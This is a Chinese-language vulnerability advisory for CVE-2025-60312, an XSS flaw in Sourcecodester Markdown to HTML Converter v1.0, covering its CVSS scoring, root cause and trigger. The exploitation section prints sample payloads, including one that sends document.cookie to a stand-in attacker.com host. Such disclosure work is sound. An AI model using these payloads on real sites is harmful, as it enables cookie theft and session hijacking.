CVE-2025-60312CVE-2025-60312是Sourcecodester Markdown to HTML Converter v1.0中存在的一个跨站脚本(XSS)漏洞。该漏洞位于应用程序的"Markdown Input"(Markdown输入)字段中,由于该字段未对用户输入进行充分的过滤和转义处理,远程攻击者可以通过构造包含恶意HTML/JavaScript代码的Markdown内容,利用该漏洞在受害者的浏览器上下文中执行任意脚本代码。
当受害者在浏览器中点击"Convert to HTML"(转换为HTML)按钮时,应用程序会将用户输入的Markdown内容渲染为HTML并显示在页面上。由于缺乏对输入内容的有效过滤,恶意脚本代码会随之在受害者的浏览器中执行,从而可能导致会话劫持、Cookie窃取、钓鱼攻击、恶意重定向等安全风险。
该漏洞的CVSS v3.1评分为6.1,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需认证(PR:N),但需要用户交互(UI:R)才能触发。漏洞的影响范围为变更(Scope Changed, S:C),对机密性和完整性有低影响,对可用性无影响。该漏洞的披露日期为2025年10月7日,由[email protected]提交。
该XSS漏洞的根本原因在于Sourcecodester Markdown to HTML Converter v1.0在处理用户输入的Markdown文本时,未对输入内容进行适当的HTML实体编码或过滤。
具体技术原理如下:
1. **输入点**:应用程序提供一个"Markdown Input"文本区域,允许用户输入Markdown格式的文本内容。
2. **处理流程**:当用户点击"Convert to HTML"按钮时,前端JavaScript代码会读取文本区域中的Markdown内容,并通过Markdown解析器将其转换为HTML格式。
3. **漏洞触发**:由于Markdown解析器在转换过程中允许原始HTML标签通过(即Markdown规范中的"Raw HTML"特性),而应用程序未对此进行过滤,攻击者可以直接在Markdown输入中嵌入恶意的`<script>`标签或其他HTML事件处理器(如`<img src=x onerror=alert(1)>`)。
4. **执行机制**:转换后的HTML被直接注入到页面DOM中(通常通过`innerHTML`属性),导致恶意脚本在受害者的浏览器上下文中执行。
5. **利用方式**:攻击者可以构造包含`<script>alert(document.cookie)</script>`或`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`等payload的Markdown文本,诱导受害者点击转换按钮后即可执行恶意代码。
由于该漏洞需要用户交互(UI:R),攻击者通常需要通过社会工程学手段(如钓鱼邮件、即时消息等)诱导受害者访问恶意页面或粘贴恶意内容。